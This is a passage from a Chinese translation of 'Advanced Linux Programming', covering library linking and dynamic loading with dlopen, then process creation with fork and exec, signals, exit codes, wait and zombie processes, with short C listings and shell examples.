一个包含了读写 TIFF 格式图片的函数的库。这个库依次依赖 libjpeg(JPEG 图像函数库) 和 libz(压缩函数库)。 列表 2.9 展示了一个非常简单的程序。它通过 libtiff 打开一个 TIFF 格式的图片。 代码列表 2.9 (tifftest.c)使用 libtiff #include <stdio.h> #include <tiffio.h> int main ( int argc, char** argv) { TIFF* tiff; tiff = TIFFOpen (argv[1], “r”); TIFFClose (tiff); return 0; } 将这份源码保存为 tifftest.c。要在编译时将这个程序链接到 libtiff 则应在链接程序命令 行中指定 –ltiff: % gcc –o tifftest tifftest.c –ltiff 默认情况下,链接器会选择共享库版本的 libtiff。它通常位于 /usr/lib/libtiff.so。因为 libtiff 会引用 libjpeg 和 libz,这两个库的共享库版本也会被引入(共享库可以指向自己依赖 的其它共享库)。可以用 ldd 命令验证这一点: % ldd tifftest libtiff.so.3 => /usr/lib/libtiff.so.3 (0x4001d000) libc.so.6 => /lib/libc.so.6 (0x40060000) www.AdvancedLinuxProgramming.com 34 4 在一些在线文档中可能你会看见对 LD_RUN_PATH环境变量的引用。不要相信它们;这个变量在 GNU/Linux系统中不起任何作用。 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 libjpeg.so.62 => /usr/lib/libjpeg.so.62 (0x40155000) libz.so.1 => /usr/lib/libz.so.1 (0x40174000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000) 而另一方面,静态库无法指向其它的库。如果你决定通过指定 –static 参数,将程序与 静态版本的 libtiff 链接时,你会得到这些关于“无法解析的符号”的错误信息: % gcc –static –o tifftest tifftest.c –ltiff /usr/bin/../lib/libtiff.a(tif_jpeg.o): In function ‘TIFFjpeg_error_exit’: tif_jpeg.o(.text+0x2a): undefined reference to ‘jpeg_abort’ /usr/bin/../lib/libtiff.a(tif_jpeg.o): In function ‘TIFFjpeg_create_compress’: tif_jpeg.o(.text+0x8d): undefined reference to ‘jpeg_std_error’ tif_jpeg.o(.text+0xcf): undefined reference to ‘jpeg_CreateCompress’ ... 要想将这个程序静态链接,你必须手工指定另外两个库: % gcc –static –o tifftest tifftest.c –ltiff –ljpeg –lz –lm 有时候,两个库可能互相依赖。也就是说,第一个库可能引用了第二个库中定义的符号, 反之亦然。通常这种情况都是由于不良设计导致的;但是这种情况确实可能出现。在这种情 况下,你可以在命令行中多次指定同一个库。链接器会在每次读取到这个库的时候重新查找 库中的符号。例如,下面的命令会导致 libfoo.a 被多次扫描: % gcc –o app app.o –lfoo –lbar –lfoo 因此,即使 libfooo.a 引用了 libbar.a 中定义的符号,且反之亦然,程序仍将被成功链接。 2.3.5 优点与缺陷 当你了解了两种类型的库的时候,你可能开始考虑实际使用哪一种。这里有一些你在选 择时必须记住的注意点。 动态库的重要优点之一在于,为安装程序的系统节省了空间。假设你安装了 10 个程序, 而它们同时会利用同一个库,则使用共享库较之使用静态库将为系统节省大量的空间。如果 你选用静态库,则你将会在系统中随这十个程序保存十份静态库的副本。因此,使用共享库 可以节省磁盘空间。而且如果你的程序是从网络上下载的,使用共享库可以同时节省下载时 间。 共享库与此相关的一个优势在于,程序员可以选择升级这个库而不必强令用户同时升级 所有依赖这个库的程序。例如,假设你写了一个用于处理 HTTP 连接的库。可能有许多程序 依赖这个库。如果你在库的代码中发现了 bug,你可以选择升级你的库。与此同时,所有使 用这个库的程序中的 bug 都会被修复;你不必像使用静态库那样重新链接所有这些程序。 这些优点也许会让你认为应该尽量使用共享库。但是,仍然存在一些现实的理由让程序 选择链接到静态库。升级共享库同时会升级所有依赖程序的特点很可能成为一个缺陷。假设 你开发了一个用于处理关键性任务的程序,你可能应该选择静态链接你的程序以防止对系统 的升级影响到你的程序的运行。(否则,也许用户会升级系统中的共享库,由此影响到你程 序的运行,然后打电话到你的技术支持热线并责怪你的程序的错误。) 如果你可能没有将库安装到 /lib 或 /usr/lib 的权限,你绝对应该重新考虑是否将你的库 www.AdvancedLinuxProgramming.com 35 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 作为共享库发布。(除非你要求你的用户具有管理员权限,你的库将无法被安装到 /lib 或 /usr/lib 目录。)而且,如果你不确定库最终被安装的位置,-Wl,rpath 的办法也无法起作用。 让你的用户去设置 LD_LIBRARY_PATH 对他们而言意味着额外的步骤。因为每个用户都 必须为自己设置这个环境变量,这将着实成为一个负担。 每当你尝试发布一个程序的时候,你都不得不对这些有缺点进行权重并选择合适的形式 发布你的程序。 2.3.6 动态加载与卸载 有时,你可能希望在运行时加载一些代码,而不是将这些代码直接链接进程序。例如, 设想一个支持“插件”模块的程序,如一个网页浏览器。浏览器允许第三方开发者制作插件 以提供额外的功能。这些开发者制作共享库,并将它放在指定的位置。浏览器在运行的时候 将自动加载这些库中的代码。 在 Linux 系统中,这种功能可以通过使用 dlopen 函数获取。你可以这样通过 dlopen 加 载一个名为 dlopen 的函数: dlopen (“libtest.so”, RTLD_LAZY); (第二个参数是一个标志,它指明了绑定库中符号的方法。你可以参考 dlopen 的手册 页以获取更详细的信息,不过 RTLD_LAZY 通常就是你所需要的。)如果使用动态加载函数, 你需要在程序文件中包含 <dlfcn.h> 头文件,并将程序链接到 libdl 库(通过为编译器指定 –ldl 参数)。 这个函数会返回一个 void *指针;这个指针将被用作一个操作被加载的共享库的句柄。 你可以将这个指针传递给 dlsym 函数以获取被加载的库中特定函数的地址。假设 libtest.so 中定义了一个函数 my_function,则你可以这样调用这个函数: void* handle = dlopen (“libtest.so”, RTLD_LAZY); void (*test)() = dlsym (handle, “my_function”); (*test)(); dlclose (handle); 这里,系统调用 dlsym 还可以用于从共享库中获取静态变量的地址。 前面提到的两个函数,dlopen 和 dlsym,均会在执行失败的时候返回 NULL。这时你可 以调用 dlerror(不需指定任何参数)获取一个可读的信息对出现的错误进行解释。 函数 dlclose 可以从内存中卸载已经加载的库。技术上来说,dlopen 只在库并未被加载 的情况下将共享库载入内存;如果这个库已被加载,则 dlopen 仅增加指向这个库的引用计 数。同样的,dlclose 只是将库的引用计数减一;只有当引用计数到达 0 的时候这个函数才 会真正地将库卸载。 如果你的共享库是用 C++ 语言写成,则你需要将那些用于提供外界访问的函数和变量 用 extern “C” 链接修饰符进行修饰。假设你的共享库中有一个 C++ 函数 foo,而你希望通 过 dlsym 访问这个函数,你需要这样对它进行声明: extern “C” void foo (); 这样就可以防止 C++ 编译器对函数名称进行修饰。否则,C++ 编译器可能将函数名从 foo 变为另外一个看起来很可笑的名字;这个名字中包含了其它一些与这个函数相关的信息。 C 编译器不会对标识符进行修饰;它会直接使用任何你指定的函数或变量名。 www.AdvancedLinuxProgramming.com 36 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 第三章:进程 一个程序的一份运行中的实例叫做一个进程。如果你屏幕上显示了两个终端窗口,你很 可能同时将一个终端程序运行了两次——你有两个终端窗口进程。每个窗口可能都运行着一 个 shell;每个运行中的 shell 都是一个单独的进程。当你从一个 shell 里面调用一个程序的时 候,对应的程序在一个新进程中运行;运行结束后 shell 继续工作。 高级程序员经常在一个应用程序中同时启用多个协作的进程以使程序可以并行更多任 务、使程序更健壮,或者可以直接利用已有的其它程序 本章中将要介绍的各种进程操作函数与其它 UNIX 操作系统中的进程操作函数非常相 似。多数函数都在<unistd.h>这个包含文件中声明了原型;检查对应的手册页以确保无误。 3.1 查看进程 就算你只是坐在你的电脑前面,进程也在电脑内运行着。每个运行着的程序都会运行着 一个或几个进程。让我们从观察那些正在系统中运行的进程开始。 3.1.1 进程 ID Linux 系统中的每个进程都由一个独一无二的进程 ID(通常也被称为 pid)标识。进程 ID 是一个 16 位的数字,由 Linux 在创建新进程的时候自动依次分配。 每个进程都有一个父进程(除了将在 3.4.3 节“僵尸进程”中介绍的特殊的 init 进程)。 因此,你可以把 Linux 中的进程结构想象成一个树状结构,其中 init 进程就是树的“根”。 父进程 ID(ppid)就是当前进程的父进程的 ID。 当需要从 C 或 C++程序中使用进程 ID 的时候,应该始终使用<sys/types.h>中定义的 pid_t 类型。程序可以通过 getpid()系统调用获取自身所运行的进程的 ID,也可以通过 getppid()系统调用获取父进程 ID。例如下面一段程序(列表 3.1)输出了程序运行时的进程 ID 和父进程 ID。 代码列表 3.1 (print-pid.c) 输出进程 ID #include <stdio.h> #include <unistd.h> int main () { printf ("The proces ID is %d\n", (int) getpid ()); printf ("The parent process ID is %d\n", (int) getppid ()); return 0; } 把这个程序运行几次并观察每次的结果,会发现每次都会输出一个不同的进程 ID,因 为每次运行这个程序都建立了一个新进程。但是,如果你每次都从同一个 shell 里面调用, 父进程 ID(也就是 shell 进程的 ID)并不会改变。 www.AdvancedLinuxProgramming.com 37 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 3.1.2 查看活动进程 运行 ps 命令可以显示当前系统中运行的进程。GNU/Linux 版本的 ps 有很多选项,因为 它试图与很多不同 UNIX 版本的 ps 命令兼容。这些选项决定显示哪些进程以及要显示的信 息。 默认情况下,调用 ps 会显示当前调用 ps 命令的终端或终端窗口所控制的所有进程的相 关信息。例如: % ps PID TTY TIME CMD 21693 pts/8 00:00:00 bash 21694 pts/8 00:00:00 ps 这次调用 ps 显示了两个进程。第一个 bash 就是在这个终端上运行的 shell 程序。第二 个是正在运行的 ps 实例自身。第一列被标记为 PID,分别显示了每个进程的 ID。 可以利用下面这个命令来仔细的研究你的 GNU/Linux 系统中运行了什么: % ps -e -o pid,ppid,command 这里-e 选项让 ps 命令显示系统中运行的所有进程的信息。而-o pid,ppid,command 选项 告诉 ps 要显示每个进程的哪些信息——这里,我们让 ps 显示进程 ID、父进程 ID 以及进程 运行的命令行。 www.AdvancedLinuxProgramming.com 38 ps 输出格式 当在调用 ps 时附加了-o 选项,你可以用一个逗号分割的列表指定你需要显示的进程 信息。例如,ps -o pid,user,start_time,command 会显示进程 ID,运行该进程的 用户名,进程开始的时间(wall clock time,墙面钟时间),以及进程运行的命令。参考 ps 手册页中列出的完整字段代码列表。你也可以指定-f(完整列表),-l(长列表)或-j (任务列表)选项以得到三种预定的列表格式。 这里是我在自己的系统上运行上面这条命令后,得到结果的开始和最后几行。你可能得 到不同的结果;这取决于你系统中运行着的程序。 % ps -e -o pid,ppid,command PID PPID COMMAND 1 0 init [5] 2 1 [kflushd] 3 1 [kupdate] ... 21725 21693 xterm 21727 21725 bash 21728 21727 ps -e -o pid,ppid,command 注意 ps 命令的父进程 ID,21727,就是我调用 ps 命令的 shell,也就是 bash 的进程 ID。 Bash 的父进程 ID 是 21725,也就是运行着 shell 的 xterm 程序的进程 ID。 3.1.3 中止一个进程 你可以用 kill 命令中止一个正在运行的进程。只要将需要中止的进程 ID 作为命令行 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 参数调用 kill 就可以。 kill命令通过对目标进程发送SIGTERM(中止) 1信号来中止目标进程。在这个程序 没有显式处理或忽略了SIGTERM信号的情况下,这会导致目标进程被终止。3.3 节“信号” 详细介绍了信号。 3.2 创建进程 通常有两种方法可以创建进程。第一种方法相对简单,但是在使用之前应慎重考虑,因 为它效率低下,而且具有不容忽视的安全风险。第二种方法相对复杂了很多,但是提供了更 好的弹性、效率和安全性。 3.2.1 使用 system C 标准库中的 system 函数提供了一种调用其它程序的简单方法。利用 system 函数调用 程序结果与从 shell 中执行这个程序基本相似。事实上,system 建立了一个运行着标准 Bourne shell(/bin/sh)的子进程,然后将命令交由它执行。例如,列表 3.2 节的程序调用 ls 命令显示根目录的内容,正如你在 shell 中输入 ls -l /一样。 代码列表 3.2 (system.c)使用 system 函数 #include <stdlib.h> int main () { int return_value; return_value = system ("ls -l /"); return return_value; } 调用system 函数的返回值就是被调用的 shell 命令的返回值。如果shell自身无法运行, system 函数返回 127;如果出现了其它错误,system 返回 -1。 因为 system 函数使用 shell 调用命令,它受到系统 shell 自身的功能特性和安全缺陷的 限制。你不应该试图依赖于任何特定版本的 Bourne shell。许多 UNIX 系统中,/bin/sh 是 一个指向其它 shell 的符号链接。例如,在绝大多数 GNU/Linux 系统中,/bin/sh 指向 bash (Bourne-Again SHell),并且不同的 Linux 系统使用不同版本的 bash。例如,以 root 权 限通过 system 调用一个程序,在不同的 Linux 系统中可能得到不同结果。因此,fork 和 exec 才是推荐用于创建进程的方法。 3.2.2 使用 fork 和 exec DOS 和 Windows API 都包含了 spawn 系列函数。这些函数接收一个要运行的程序名作 为参数,启动一个新进程中运行它。Linux 没有这样一个系统调用可以在一个步骤中完成这 些。相应的,Linux 提供了一个 fork 函数,创建一个调用进程的精确拷贝。Linux 同时提供 www.AdvancedLinuxProgramming.com 39 1 kill 命令还可以用于对进程发送其它的信号。3.4 节“进程中止”介绍了这些内容。 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 了另外一系列函数,被称为 exec 族函数,使一个进程由运行一个程序的实例转换到运行另 外一个程序的实例。要产生一个新进程,应首先用 fork 创建一个当前进程的副本,然后使 用 exec 将其中一个进程转为运行新的程序。 调用 fork 一个进程通过调用 fork 会创建一个被称为子进程的副本进程。父进程从调用 fork 的地 方继续执行;子进程也一样。 那么,如何区分两个进程?首先,子进程是一个新建立的进程,因此有一个与父进程不 同的进程 ID。因此可以通过调用 getpid 检测自身运行在子进程还是父进程。不过,fork 函 数对父子进程提供了不同的返回值——一个进程“进入”fork 调用,而另外一个则从调用 中“出来”。父进程得到的 fork 调用返回值是子进程的 ID。子进程得到的返回值是 0。因为 任何进程的 ID 均不为 0,程序可以藉此很轻松的判断自身运行在哪个进程中。 列表 3.3 是一个使用 fork 复制进程的例子。需要注意的是,if 语句的第一段将仅在父进 程中运行,而 else 部分则在子进程中运行。 代码列表 3.3 (fork.c)用 fork 复制程序进程 #include <stdio.h> #include <sys/types.h> #include <unistd.h> int main () { pid_t child_pid; printf ("the main program process ID is %d\n", (int) getpid ()); child_pid = fork (); if (child_pid != 0) { printf ("this is the parent process, with id %d\n", (int) getpid ()); printf ("the child's process ID is %d\n", (int) child_pid); } else printf ("this is the child process, with id %d\n", (int) getpid ()); return 0; } 调用 exec 族函数 Exec 族函数用一个程序替换当前进程中正在运行的程序。当某个 exec 族的函数被调用 www.AdvancedLinuxProgramming.com 40 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 时,如果没有出现错误的话,调用程序会被立刻中止,而新的程序则从头开始运行。 Exec 族函数在名字和作用方面有细微的差别。 · 名称包含 p 字母的函数(execvp 和 execlp)接受一个程序名作为参数,然 后在当前的执行路径(译者注:环境变量 PATH 指明的路径)中搜索并执行这个 程序;名字不包含 p 字母的函数在调用时必须指定程序的完整路径。 · 名称包含 l 字母的函数(execl、execlp 和 execle)接收一个字符串数组作 为调用程序的参数;这个数组必须以一个 NULL 指针作为结束的标志。名字包含 v 字母的函数(execv,execvp 和 execve)以 C 语言中的 vargs(译者注:原文为 varargs, 疑为笔误)形式接受参数列表。(译者注:原文中 v 和 l 的部分颠倒,疑为笔误。 已参考 execl(3)手册页进行了更正。) · 名称包含 e 字母的函数(execve 和 execle)比其它版本多接收一个指明了 环境变量列表的参数。这个参数的格式应为一个以 NULL 指针作为结束标记的字 符串数组。每个字符串应该表示为“变量=值”的形式。 因为 exec 会用新程序代替当前程序,除非出现错误,否则它不会返回。 传递给程序的参数列表和当你从 shell 运行时传递给程序的命令行参数相似。新程序可 以从 main 函数的 argc 和 argv 参数中获取它们。请记住,当一个程序是从 shell 中被调用的 时候,shell 程序会将第一个参数(argv[0])设为程序的名称,第二个参数(argv[1])为第 一个命令行参数,依此类推。当你在自己的程序中使用 exec 函数的时候,也应该将程序名 称作为第一个参数传递进去。 将 fork 和 exec 结合使用 运行一个子程序的最常见办法是先用 fork 创建现有进程的副本,然后在得到的子进程 中用 exec 运行新程序。这样在保持原程序继续运行的同时,在子进程中开始运行新的程序。 列表 3.4 中的程序与 3.2 中的作用相似,也是用 ls 命令显示系统根目录下的内容。与前 面例子不同的是,它直接传递-l 和 / 作为参数并调用了 ls 命令,而不是通过运行一个 shell 再 调用命令来完成这一操作。 代码列表 3.4 (fork-exec.c)将 fork 和 exec 结合使用 #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> /* 产生一个新进程运行新的程序。PAORGAM 是要运行的程序的名字;系统会在 执行路径中搜索这个程序运行。ARG_LIST 是一个以 NULL 指针结束的字符串列表, 用作程序的参数列表。返回新进程的 ID。 */ int spawn (char* program, char** arg_list) { pid_t child_pid; /* 复制当前进程。*/ www.AdvancedLinuxProgramming.com 41 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 child_pid = fork (); if (child_pid != 0) /* 这里是父进程。*/ return child_pid; else { /* 现在从执行路径中查找并执行 PROGRAM。*/ execvp (program, arg_list); /* execvp 函数仅当出现错误的时候才返回。*/ fprintf (stderr, "an error occurred in execvp\n"); abort (); } } int main () { /* 准备传递给 ls 命令的参数列表 */ char* arg_list[] = { "ls", /* argv[0], 程序的名称 */ "-l", "/", NULL /* 参数列表必须以 NULL 指针结束 */ }; /* 建立一个新进程运行 ls 命令。忽略返回的进程 ID */ spawn ("ls", arg_list); printf ("done with main program\n"); return 0; } 3.2.3 进程调度 Linux 会分别独立地调度父子进程;不保证进程被调度的先后顺序,也不保证被调度的 进程在被另外一个(或系统中其它进程)打断之前会运行多久。具体来说,ls命令也许在父 进程结束之前根本没有被调度运行,也可能是ls命令运行了一部分或者全部完成之后主进程 才结束执行 2。Linux保证每个程序都会得到运行——不会有某个进程因为缺乏资源而无法运 行。 你可以将一个进程标记为次要的;给进程指定一个较高的 niceness 值会给这个进程分配 较低的优先级。默认情况下,每个进程的 niceness 均为 0。较高的 niceness 值代表了较低的 进程优先级;相应的,较低的 niceness 值(负值)表示较高的进程优先级。 www.AdvancedLinuxProgramming.com 42 2 3.4.1 节(“等待进程终止”)展示了一种序列化两个进程顺序的方法。 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 使用 nice 命令的-n 参数允许用户以一个指定的 niceness 值运行特定程序。例如,要执 行“sort input.txt > output.txt”这个会执行较长时间的排序命令,可以通过下面 的命令降低它的优先级,使它不会过度地影响系统的运行: % nice -n 10 sort input.txt > output.txt 你可以使用 renice 命令从命令行调整一个正在运行的程序的 niceness 值。 可以通过调用 nice 函数以编程的方法调整一个运行中的进程的优先级。它的参数会被 加在调用进程的 niceness 值上。记住,大于 0 的值会提高进程的 niceness 值,从而降低进程 优先级。 需要注意的是,只有当一个进程以 root 权限运行的时候才能以负的 niceness 值运行其它 程序,或降低一个进程的 niceness 值。这表明,只有当你以 root 身份登陆的时候,你才可以 用负数做参数调用 nice 和 renice 命令,而只有当一个进程以 root 身份运行的时候才可以 以负值作参数调用 nice 函数。这种限制可以防止普通用户从其它用户的手中夺取程序运行 优先级。 3.3 信号 信号(Signal)是 Linux 系统中用于进程之间相互通信或操作的一种机制。信号是一个 相当广泛的课题;在这里,我们仅仅探讨几种最重要的信号以及利用信号控制进程的技术。 信号是一个发送到进程的特殊信息。信号机制是异步的;当一个进程接收到一个信号时, 它会立刻处理这个信号,而不会等待当前函数甚至当前一行代码结束运行。信号有几十种, 分别代表着不同的意义。信号之间依靠它们的值来区分,但是通常在程序中使用信号的名字 来表示一个信号。在 Linux 系统中,这些信号和以它们的名称命名的常量均定义在 /usr/include/bits/signum.h 文件中。(通常程序中不需要直接包含这个头文件,而应 该包含<signal.h>。) 当一个进程接收到信号,基于不同的处理方式(disposition),该进程可能执行几种不同 操作中的一种。每个信号都有一个默认处理方式(default disposition),当进程没有指定自己 对于某个信号的处理方式的时候,默认处理方式将被用于对对应信号作出响应。对于多数种 类的信号,程序都可以自由指定一个处理方式——程序可以选择忽略这个信号,或者调用一 个特定的信号处理函数。如果指定了一个信号处理函数,当前程序会暂停当前的执行过程, 同时开始执行信号处理函数,并且当信号处理函数返回之后再从被暂停处继续执行。 Linux 系统在运行中出现特殊状况的时候也会向进程发送信号通知。例如,当一个进程 执行非法操作的时候可能会收到 SIGBUS(主线错误),SIGSEGV(段溢出错误)及 SIGFPE (浮点异常)这些信号。这些信号的默认处理方式都是终止程序并且产生一个核心转储文件 (core file)。 一个进程除了响应系统发来的信号,还可以向其它进程发送信号。对于这种机制的一个 最常见的应用就是通过发送SIGTERM或SIGKILL信号来结束其它进程。 3#3 除此之外,它 还常见于向运行中的进程发送命令。两个“用户自定义”的信号SIGUSR1 和SIGUSR2 就是 专门作此用途的。SIGHUP信号有时也用于这个目的——通常用于唤醒一个处于等待状态的 进程或者使进程重新读取配置文件。 www.AdvancedLinuxProgramming.com 43 系统调用 sigaction 用于指定信号的处理方式。函数的第一个参数是信号的值。之后两 个参数是两个指向 sigaction 结构的指针;第一个指向了将被设置的处理方式,第二个用于 3 有什么区别?SIGTERM 信号要求进程中止;进程可以修改请求或者直接忽略这个信号。SIGKILL 信 号会立即中止进程,因为进程无法忽略或修改对 SIGKILL 信号的响应。 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 保存先前的处理方式。这两个 sigaction 结构中最重要的都是 sa_handler 域。它可以是下面 三个值: · SIG_DFL,指定默认的信号处理方式 · SIG_IGN,指定该信号将被忽略 · 一个指向信号处理函数的指针。这个函数应该接受信号值作为唯一参数, 且没有返回值。 因为信号处理是异步进行的,当信号处理函数被调用的时候,主程序可能处在非常脆弱 的状态,并且这个状态会一直保持到信号处理函数结束。因此,应该尽量避免在信号处理函 数中使用输入输出功能、绝大多数库函数和系统调用。 信号处理函数应该做尽可能少的工作以响应信号的到达,然后返回到主程序中继续运行 (或者结束进程)。多数情况下,所进行的工作只是记录信号的到达。而主程序则定期检查 是否有信号到达,并且针对当时情况作出相应的处理。 信号处理函数也可能被其它信号的到达所打断。虽然这种情况听起来非常罕见,一旦出 现,程序将非常难以确定问题并进行调试。(这是竞争状态的一个例子。在第四章“线程” 第 4.4 节“同步及临界段”中进行了讨论。)因此,对于你的信号处理函数进行哪些工作一 定要进行慎重的考虑。 甚至于对全局变量赋值可能也是不安全的,因为一个赋值操作可能由两个或更多机器指 令完成,而在这些指令执行期间可能会有第二个信号到达,致使被修改的全局变量处于不完 整的状态。如果你需要从信号处理函数中设置全局标志以记录信号的到达,这个标志必须是 特殊类型 sig_atomic_t 的实例。Linux 保证对于这个类型变量的赋值操作只需要一条机器指 令,因此不用担心可能在中途被打断。在 Linux 系统中,sig_atomic_t 就是基本的 int 类型; 事实上,对 int 或者更小的整型变量以及指针赋值的操作都是原子操作。不过,如果你希望 所写的程序可以向任何标准 UNIX 系统移植,则应将所有全局变量设为 sig_atomic_t 类型。 如下所示,代码列表 3.5 中的简单程序中,我们利用信号处理函数统计程序在运行期接 收到 SIGUSR1 信号的次数。SIGUSR1 信号是一个为应用程序保留的信号。 代码列表 3.5 (sigusr1.c)使用信号处理函数 #include <signal.h> #include <stdio.h> #include <string.h> #include <sys/types.h> #include <unistd.h> sig_atomic_t sigusr1_count = 0; void handle (int signal_number) { ++sigusr1_count; } int main () { struct sigaction sa; www.AdvancedLinuxProgramming.com 44 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 memset (&sa, 0, sizeof (sa)); sa.sa_handler = &handler; sigaction (SIGUSR1, &sa, NULL); /* 这里可以执行一些长时间的工作。*/ /* ... */ printf ("SIGUSR1 was raised %d times\n", sigusr1_count); return 0; } 3.4 进程终止 通常,进程会以两种情况的之一结束:调用 exit 函数退出或从 main 函数返回。每个 进程都有退出值(exit code):一个返回给父进程的数字。一个进程退出值就是程序调用 exit 函数的参数,或者 main 函数的返回值。 进程也可能由于信号的出现而异常结束。例如,之前提到的 SIGBUS,SIGSEGV 和 SIGFPE 信号的出现会导致进程结束。其它信号也可能显式结束进程。当用户在终端按下 Ctrl+C 时会发送一个 SIGINT 信号给进程。SIGTERM 信号由 kill 命令发送。这两个信号 的默认处理方式都是结束进程。进程通过调用 abort 函数给自己发送一个 SIGABRT 信号, 导致自身中止运行并且产生一个 core file。最强有力的终止信号是 SIGKILL,它会导致进程 立刻终止,而且这个信号无法被阻止或被程序自主处理。 这里任何一个信号都可以通过指定一个特殊选项,由 kill 命令发送;例如,要通过发 送 SIGKILL 中止一个出问题的进程,只需要执行下面的命令(这里 pid 是目标进程号): % kill -KILL pid 要从程序中发送信号,使用 kill 函数。第一个参数是目标进程号。第二个参数是要发 送的信号;传递 SIGTERM 可以模拟 kill 命令的默认行为。例如,你可以利用 kill 函数, 像这样从父进程中结束子进程的运行(这里 child_pid 包含的是子进程的进程号): % kill (child_pid, SIGTERM); 需要包含<sys/types.h>和<signal.h>头文件才能在程序中调用 kill 函数。 根据习惯,程序的退出代码可用来确认程序是否正常运行。返回值为 0 表示程序正确运 行,而非零的返回值表示运行过程出现错误。在后一种情况下,返回值可能表示了特定的错 误含义。通常应该遵守这个约定,因为 GNU/Linux 系统的其它组件会假设程序遵循这个行 为模式。例如,当使用 &&(逻辑与)或 ||(逻辑或)连接多个程序的时候,shell 根据这 个假定判断逻辑运算的结果。因此,除非有错误发生,你都应该在 main 结束的时候明确地 返回 0。 对于多数 shell 程序,最后运行的程序的返回值都保存在特殊环境变量$?中。在下面这 个例子中 ls 命令被执行了两次,并且每次运行之后会输出返回值。第一次,ls 运行正常并 且返回 0。第二次,ls 运行出现一个错误(因为命令行参数指定的文件不存在)且返回了 一个非零值。 % ls www.AdvancedLinuxProgramming.com 45 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 bin coda etc lib misc nfs proc sbin usr boot dev home lost+found mnt opt root tmp var % echo $? 0 % ls bogusfile ls: bogusfile: No such file or directory % echo $? 1 需要注意的是,尽管 exit 函数的参数类型是 int,而 main 函数返回值也是 int 类型, Linux 不会为返回值保留 32 位长度。实际上,你应该只使用 0 到 127 之间的数值作为退出 代码。大于 128 的退出代码有特殊的含义——当一个进程由于一个信号而结束运行,它的退 出值就是 128 加上信号的值。 3.4.1 等待进程结束 如果你输入并且运行了代码列表 3.4 的 fork 和 exec 示例程序,你可能已经发现,ls 程 序的输入很多时候出现在“主程序”结束之后。这是因为子进程,也就是运行 ls 命令的进 程,是相独立于主进程被调度的。因为 Linux 是一个多任务操作系统,两个进程看起来是并 行执行的,而且你无法猜测 ls 程序会在主程序运行之前还是之后获取运行的机会。 不过,在某些情况下,主程序可能希望暂停运行以等待子进程完成任务。可以通过 wait 族系统调用实现这一功能。这些函数允许你等待一个进程结束运行,并且允许父进程得到子 进程结束的信息。Wait 族系统调用一共有四个函数;通过选择不同的版本,你可以选择从 退出进程得到信息的多少,也可以选择关注某个特定子进程的退出。 3.4.2 wait 系统调用 这一族函数中,最简单的是 wait。它会阻塞调用进程,直到某一个子进程退出(或者 出现一个错误)。它通过一个传入的整型指针参数返回一个状态码,从而可以得到子进程的 退出信息。例如,WEXITSTATUS 宏可以提取子进程的退出值。 你可以用 WIFEXITED 宏从一个子进程的返回状态中检测该进程是正常结束(利用 exit 函数或者从 main 函数返回)还是被没有处理的信号异常终止。对于后一种情况,可 以用 WTERMSIG 宏从中得到结束该进程的信号。 这里还是 fork 和 exec 示例代码中的 main 函数。这一次,父进程通过调用 wait 等 待子进程(也就是运行 ls 命令的进程)退出。 int main () { int child_status; /* 传递给 ls 命令的参数列表 */ char* arg_list[] = { "ls", /* argv[0], 程序的名称 */ "-l", "/", www.AdvancedLinuxProgramming.com 46 NULL /* 参数列表必须以 NULL 结束 */ 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 }; /* 产生一个子进程运行 ls 命令。忽略返回的子进程 ID。*/ spawn ("ls", arg_list); /* 等待子进程结束。*/ wait (&child_status); if (WIFEXITED (child_status)) printf ("the child proces exited normally, with exit code %d\n", WEXITSTATUS (child_status)); else printf ("the child process exited abnormally\n"); return 0; } Linux 还提供了一些相似的系统调用;其中一些更具弹性,而一些提供了与退出的子进 程相关的更多的信息。Wait3 函数可以获取退出进程的 CPU 占用情况,而 wait4 函数允 许你通过更多参数指定等待的进程。 3.4.3 僵尸进程 如果一个子进程结束的时候,它的父进程正在调用 wait 函数,子进程会直接消失,而 退出代码则通过 wait 函数传递给父进程。但是,如果子进程结束的时候,父进程并没有调 用 wait,则又会发生什么?它是不是简单地就消失了呢?不,因为如果这样,它退出时返 回的相关信息——譬如它是否正常结束,以及它的退出值——会直接丢失掉。在这种情况下, 子进程死亡的时候会转化为一个僵尸进程。 一个僵尸进程是一个已经中止而没有被清理的进程。清理僵尸子进程是父进程的责任。 Wait 函数会负责这个清理过程,所以你不必在等待一个子进程之前检测它是否正在运行。 假设,一个进程创建了一个子进程,进行了另外一些计算,然后调用了 wait。如果子进程 还没有结束,这个进程会在 wait 调用中阻塞,直到子进程结束。如果子进程在父进程调用 wait 之前结束,子进程会变成一个僵尸进程。当父进程调用 wait,僵尸子进程的结束状态 被提取出来,子进程被删除,并且 wait 函数立刻返回。 如果父进程不清理子进程会如何?它们会作为僵尸进程,一直被保留在系统中。代码列 表 3.6 里的程序在产生一个立刻结束的子进程之后然后休眠一分钟退出而不清理子进程。 代码列表 3.7 (zombie.c)制作一个僵尸进程 #include <stdlib.h> #include <sys/types.h> #include <unistd.h> int main () { www.AdvancedLinuxProgramming.com 47 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 pid_t child_pid; /* 创建一个子进程 */ child_pid = fork (); if (child_pid > 0) { /*这是父进程。休眠一分钟。 */ sleep (60); } else { /*这是子进程。立刻退出。 */ exit (0); } return 0; } 试着把这个程序编译成一个名为 make-zombie 的程序。运行这个程序;在它还在运行 的同时,用下列命令在另外一个窗口列出系统中的进程: % ps -e -o pid,ppid,stat,cmd 该命令会列出进程 ID、父进程 